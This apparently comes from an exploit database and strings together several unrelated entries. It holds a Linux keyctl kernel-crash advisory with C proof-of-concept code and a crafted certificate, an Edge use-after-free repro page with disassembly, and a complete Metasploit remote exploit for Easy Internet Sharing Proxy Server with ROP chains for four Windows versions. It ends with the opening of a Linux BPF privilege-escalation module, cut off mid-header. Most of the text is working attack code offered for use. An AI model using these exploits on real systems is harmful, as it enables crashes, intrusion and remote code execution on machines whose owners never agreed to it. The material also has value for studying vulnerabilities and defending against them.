                if (!File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "abc.txt")))
                {
                    Console.WriteLine("[ERROR]: Didn't create arbitrary file");
                }
                else
                {
                    Console.WriteLine("[SUCCESS]: Created arbitary file");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
/*
OS-S Security Advisory 2016-21
Local DoS: Linux Kernel Nullpointer Dereference via keyctl

Date:
October 31th, 2016
Authors:
Sergej Schumilo, Ralf Spenneberg, Hendrik Schwartke
CVE:
Not yet assigned
CVSS:
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:
Potentially critical. If the kernel is compiled with the option
“Panic-On-Oops”, this vulnerability may lead to a kernel panic.
Ease of Exploitation:
Trivial
Vulnerability Type:
Local unprivileged kernel nullpointer dereference

Abstract:
A malicious interaction with the keyctl usermode interface allows an
attacker to crash the kernel. Processing the attached certificate by the
kernel leads to a kernel nullpointer dereference. This vulnerably can be
triggered by any unprivileged user locally.

Detailed product description:
We have verified the bug on the following kernel builds:
 Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
 RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on June, 06th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible
disclosure policy.

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1343162

Proof of Concept:
As a proof of concept, we are providing a sample exploit program and the
associated certificate.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited by an unprivileged user using
our proof of concept.

dmesg-Report:
[   40.067569] BUG: unable to handle kernel NULL pointer dereference at
         (null)
[   40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.068710] PGD c853067 PUD 186bd067 PMD 0
[   40.069090] Oops: 0002 [#1] KASAN
[   40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE)
mbcache(OE) jbd2(OE)
[   40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G
 OE   4.4.0 #158
[   40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti:
ffff88000c880000
[   40.072117] RIP: 0010:[<ffffffff81341911>]  [<ffffffff81341911>]
mpi_powm+0x31/0x9b0
[   40.072743] RSP: 0018:ffff88000c887bf0  EFLAGS: 00010246
[   40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX:
ffff8800186b33f0
[   40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI:
ffff8800186b37e0
[   40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09:
ffffed00030d6700
[   40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12:
0000000000000000
[   40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15:
ffff8800186b32a0
[   40.076174] FS:  0000000000911880(0063) GS:ffffffff81c2f000(0000)
knlGS:0000000000000000
[   40.076815] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4:
00000000000006f0
[   40.077850] Stack:
[   40.078018]  0000000000000001 ffffea0000321000 0000000000000000
ffff8800100026c0
[   40.078646]  ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6
ffff8800186b37ff
[   40.079286]  1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e
ffff8800185c95f8
[   40.079925] Call Trace:
[   40.080129]  [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[   40.080642]  [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[   40.081139]  [<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
[   40.081582]  [<ffffffff81342320>] ? mpi_alloc+0x20/0x80
[   40.082006]  [<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
[   40.082512]  [<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
[   40.083001]  [<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
[   40.083507]  [<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
[   40.084043]  [<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
[   40.084531]  [<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
[   40.085014]  [<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
[   40.085534]  [<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
[   40.086981]  [<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
[   40.087437]  [<ffffffff8126ba67>] key_create_or_update+0x137/0x450
[   40.087942]  [<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
[   40.088381]  [<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
[   40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04
44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f 84 da 07 00 00 45 85 f6 75 38
89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
[   40.091203] RIP  [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.091645]  RSP <ffff88000c887bf0>
[   40.091924] CR2: 0000000000000000
[   40.092207] ---[ end trace 3d4c5681d47247c7 ]---
[   40.092566] Kernel panic - not syncing: Fatal exception
[   40.092968] Kernel Offset: disabled
[   40.093242] Rebooting in 1 seconds..

Proof of Concept (Code):
*/

/*
 *
 * base64 -d < certificate.base64 > test.crt
 * gcc test.crt -lkeyutils
 * ./a.out
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/mount.h>
#include <errno.h>
#include <signal.h>
#include <keyutils.h>

int main(){
	FILE    *infile;
	char    *buffer;
	long    numbytes;

    key_serial_t key_id;
    key_serial_t keyring_id;
	
	infile = fopen("test.crt", "r");	
	if(infile == NULL)
		return 1;
	
	fseek(infile, 0L, SEEK_END);
	numbytes = ftell(infile);
	
	fseek(infile, 0L, SEEK_SET);	
	
	buffer = (char*)calloc(numbytes, sizeof(char));	
	
	if(buffer == NULL)
		return 1;
	
	fread(buffer, sizeof(char), numbytes, infile);
	fclose(infile);

    /* inject fuzzed x509 DER data into asymmetric crypto kernel code */
	key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);
	printf("Oops?!\n");

    if(key_id != -1){
         keyctl_unlink(key_id, 0xfffffffd);
    }

	free(buffer);

	return 0;
}

/*
Proof of Concept (Certificate):

MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQgCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAQAAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
--
*/
            
<!--
Source: http://blog.skylined.nl/20161115001.html

Synopsis

A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttr­Array object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Repro

<x style="
  background-image: inherit;
  text-decoration: line-through;
  height: 0;
  width: 0;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  font: menu;">

Alternatively:

<body id=x style=margin:5 onload=x.style.remove­Property("margin")>

Description

When an element is created and style properties are added, these are stored in a CAttr­Array object. A new CAttr­Array is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttr­Array and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttr­Array is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.

Exploit

What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->

<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
  window.onload = function () {
    // This Po­C attempts to exploit a use-after-free bug in Microsoft Edge
    // See http://blog.skylined.nl/20161115001.html for details.
    // The CAttr­Array is full, adding another style property will cause Edge to
    // allocate a larger CAttr­Array, copy everything and free the old one.
    // The old one then continues to be used almost immediately:
    x.style.set­Property("font", "menu");
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  };
</script>

<!--
The code

Below you can find an annotated disassembly for the CAttr­Array::Destroy function, which calls CAttr­Array::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.

EDGEHTML!CAttr­Array::Destroy:
6175024f 8bff            mov     edi,edi
61750251 55              push    ebp
61750252 8bec            mov     ebp,esp
61750254 83e4f8          and     esp,0FFFFFFF8h
61750257 83ec2c          sub     esp,2Ch
6175025a 8b510c          mov     edx,dword ptr [ecx+0Ch]
6175025d 8bc2            mov     eax,edx
6175025f 53              push    ebx
61750260 d1e8            shr     eax,1
61750262 894c240c        mov     dword ptr [esp+0Ch],ecx
61750266 56              push    esi
61750267 57              push    edi
61750268 a801            test    al,1
6175026a 0f85b56f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fd6 (61ab7225)
{
  61ab7225 cc              int     3
  61ab7226 e94590c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x21 (61750270)
}
61750270 8b5d08          mov     ebx,dword ptr [ebp+8]
61750273 8d7c2428        lea     edi,[esp+28h]
61750277 c1e304          shl     ebx,4
6175027a 035908          add     ebx,dword ptr [ecx+8]
6175027d 8bf3            mov     esi,ebx
6175027f 803b04          cmp     byte ptr [ebx],4
61750282 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750283 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750284 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750285 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750286 752d            jne     EDGEHTML!CAttr­Array::Destroy+0x66 (617502b5)
{
  617502b5 8bcb            mov     ecx,ebx
  617502b7 e870e4ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)
  617502bc 8b742414        mov     esi,dword ptr [esp+14h]
  617502c0 8bca            mov     ecx,edx
  617502c2 c1e004          shl     eax,4
  617502c5 83e20f          and     edx,0Fh
  617502c8 2bc8            sub     ecx,eax
  617502ca 83e1f0          and     ecx,0FFFFFFF0h
  617502cd 0bca            or      ecx,edx
  617502cf 894e0c          mov     dword ptr [esi+0Ch],ecx
  617502d2 0fb74302        movzx   eax,word ptr [ebx+2]
  617502d6 a808            test    al,8
  617502d8 752c            jne     EDGEHTML!CAttr­Array::Destroy+0xb7 (61750306)
  {
    617502da 8b560c          mov     edx,dword ptr [esi+0Ch]                      ;<--------------.
    617502dd f6c208          test    dl,8                                         ;                \
    617502e0 0f95c1          setne   cl                                           ;                |
    617502e3 f6430201        test    byte ptr [ebx+2],1                           ; REUSE          |
    617502e7 0f95c0          setne   al                                           ;                |
    617502ea 84c8            test    al,cl                                        ;                |
    617502ec 8bce            mov     ecx,esi                                      ;                |
    617502ee 7498            je      EDGEHTML!CAttr­Array::Destroy+0x39 (61750288) ; >----,         |
    617502f0 b301            mov     bl,1                                         ;      |         |
    617502f2 eb96            jmp     EDGEHTML!CAttr­Array::Destroy+0x3b (6175028a) ; >--- | --.     |
  }                                                                               ;      |   |     |
  61750306 803b09          cmp     byte ptr [ebx],9                               ;      |   |    /|
  61750309 74cf            je      EDGEHTML!CAttr­Array::Destroy+0x8b (617502da)   ; >--- | - | --' |
  6175030b 8d442418        lea     eax,[esp+18h]                                  ;      |   |     |
  6175030f 8bcb            mov     ecx,ebx                                        ;      |   |     |
  61750311 50              push    eax                                            ;      |   |     |
  61750312 e89efeffff      call    EDGEHTML!CAttr­Value::Get­As­Variant­NC (617501b5) ;      |   |     |
  61750317 0fb74b02        movzx   ecx,word ptr [ebx+2]                           ;      |   |     |
  6175031b 81e1efff0000    and     ecx,0FFEFh                                     ;      |   |     |
  61750321 f6430380        test    byte ptr [ebx+3],80h                           ;      |   |     |
  61750325 7526            jne     EDGEHTML!CAttr­Array::Destroy+0xfe (6175034d)   ;      |   |     |
  {                                                                               ;      |   |     |
    6175034d 33c0            xor     eax,eax                                      ;      V   V     ^
    6175034f ebd9            jmp     EDGEHTML!CAttr­Array::Destroy+0xdb (6175032a) ;      |   |     |
  } else {                                                                        ;      |   |     |
    61750327 8b4304          mov     eax,dword ptr [ebx+4]                        ;      |   |     |
  }                                                                               ;      |   |     |
  6175032a 6a01            push    1                                              ;      |   |     |
  6175032c 6a01            push    1                                              ;      |   |     |
  6175032e 51              push    ecx                                            ;      |   |     |
  6175032f 6a09            push    9                                              ;      |   |     |
  61750331 8d4c2428        lea     ecx,[esp+28h]                                  ;      |   |     |
  61750335 51              push    ecx                                            ;      |   |     |
  61750336 50              push    eax                                            ;      |   |     |
  61750337 8bcb            mov     ecx,ebx                                        ;      |   |     |
  61750339 e8eee3ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)      ;      |   |     |
  6175033e 50              push    eax                                            ;      |   |     |
  6175033f 8d44242f        lea     eax,[esp+2Fh]                                  ;      |   |     |
  61750343 8bce            mov     ecx,esi                                        ;      |   |     |
  61750345 50              push    eax                                            ;      |   |     |
  61750346 e8258a0800      call    EDGEHTML!CAttr­Array::Set (617d8d70)            ; FREE |   |     /
  6175034b eb8d            jmp     EDGEHTML!CAttr­Array::Destroy+0x8b (617502da)   ; >--- | - | ---'
}                                                                                 ;      |   |
61750288 33db            xor     ebx,ebx                                          ;<-----'   |
6175028a d1ea            shr     edx,1                                            ;<---------'
6175028c f6c201          test    dl,1
6175028f 0f85966f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fdc (61ab722b)
{
  61ab722b cc              int     3
  61ab722c e96490c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x46 (61750295)
}
61750295 ff7508          push    dword ptr [ebp+8]
61750298 6a10            push    10h
6175029a e8b1e01400      call    EDGEHTML!CImpl­Ary::Delete (6189e350)
6175029f 8d4c2428        lea     ecx,[esp+28h]
617502a3 e8ae000000      call    EDGEHTML!CAttr­Value::Free (61750356)
617502a8 84db            test    bl,bl
617502aa 7548            jne     EDGEHTML!CAttr­Array::Destroy+0xa5 (617502f4)
{
  617502f4 8b4c2414        mov     ecx,dword ptr [esp+14h]
  617502f8 6a03            push    3
  617502fa 68eb030180      push    800103EBh
  617502ff e8ac3e0c00      call    EDGEHTML!CAttr­Array::Delete­Attribute (618141b0)
  61750304 eba6            jmp     EDGEHTML!CAttr­Array::Destroy+0x5d (617502ac)
}
617502ac 5f              pop     edi
617502ad 5e              pop     esi
617502ae 5b              pop     ebx
617502af 8be5            mov     esp,ebp
617502b1 5d              pop     ebp
617502b2 c20400          ret     4

Time-line

September 2015: This vulnerability was found through fuzzing.
September 2015: This vulnerability was submitted to ZDI.
September 2015: This vulnerability was rejected by ZDI.
November 2016: The issue no longer reproduces in Microsoft Edge.
November 2016: Details of this issue are released.
-->
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy Internet Sharing Proxy Server 2.2 SEH buffer Overflow',
      'Description'    => %q{
        This module exploits a SEH buffer overflow in the Easy Internet Sharing Proxy Socks Server 2.2
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'tracyturben[at]gmail.com'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ %w{URL http://www.sharing-file.com/products.htm}]
        ],
      'Privileged'     => false,

      'Payload'        =>
        {
          'Space'           => 836,
          'BadChars' => '\x90\x3b\x0d\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c',
          'StackAdjustment' => -3500,
        },
      'Targets'=>
        [
          [ 'Windows 10 32bit', { 'Ret' => 0x0043AD2C,'Offset' => 836,'Nops' => 44 } ],
          [ 'Windows 8.1 32bit SP1', { 'Ret' => 0x0043AD30,'Offset' => 908 } ],
          [ 'Windows 7 32bit SP1', { 'Ret' => 0x0043AD38,'Offset' => 884 } ],
          [ 'Windows Vista 32bit SP2 ', { 'Ret' => 0x0043AD38,'Offset' => 864 } ]
        ],
      'DefaultOptions'=>{
      'RPORT'=> 1080,
      'EXITFUNC'=> 'thread'
        },
      'DisclosureDate' => 'Nov 10 2016',
      'DefaultTarget'=> 0))
end

  def exploit
    connect
    rop_gadgets =''

    if target.name =~ /Vista 32bit/

     print_good("Building Windows Vista Rop Chain")
     rop_gadgets =
     [
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x00454559,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x00462589,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x004543b2,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417771,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046764d,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x004532e5,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x00486fac,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x0044fc45,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0045460d,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
   ].flatten.pack('V*')

   print_good('Building Exploit...')
   sploit = "\x90" *46
   sploit << rop_gadgets
   sploit << payload.encoded
   sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
   sploit << generate_seh_record(target.ret)
   print_good('Sending exploit...')
   sock.put(sploit)

   print_good('Exploit Sent...')

   handler

   disconnect
end

   if target.name =~ /7 32bit/


    print_good('Building Windows 7 Rop Chain')

    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047da72,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x004510a3,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x00450e40,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417865,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046934a,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x0045a5b4,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x0047a3bf,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x00453ce6,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00478ecd,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
    ].flatten.pack('V*')

    print_good('Building Exploit...')
    sploit = "\x90" *26
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)

    print_good('Exploit Sent...')
    sleep(5)
    handler

    disconnect

end

   if target.name =~ /8.1 32bit/

    print_good('Building Windows 8 Rop Chain')

    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047da72,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x004510a3,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x00450e40,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417865,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046934a,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x0045a5b4,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x0047a3bf,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x00453ce6,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00478ecd,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]

    ].flatten.pack('V*')

    print_good('Building Exploit...')
    sploit = "\x90" *2
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)
    print_good('Exploit Sent...')
    handler

    disconnect


end

    if target.name =~ /10 32bit/



    print_good('Building Windows 10 Rop Chain')

    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047f1de,  # POP EBX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x41414141,  # Filler (compensate)
      0x00438d30,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x004676b0,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417771,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046bf38,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x00481477,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # Filler (compensate)
      0x00488098,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x0044ca38,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00454559,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
    ].flatten.pack('V*')

    print_good('Building Exploit...')
    sploit = "\x90" *2
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << make_nops(target['Nops'])
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)

    print_good('Exploit Sent...')

    handler


    disconnect

  end
 end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Linux BPF Local Privilege Escalation',
        'Description'   => %q{
          Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
          sysctl is not set to 1, BPF can be abused to priv escalate.
          Ubuntu 16.04 has all of these conditions met.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'jannh@google.com',                    # discovery
            'h00die <mike@shorebreaksecurity.com>' # metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
          [
            [ 'CVE', '2016-4557' ],
            [ 'EDB', '39772' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
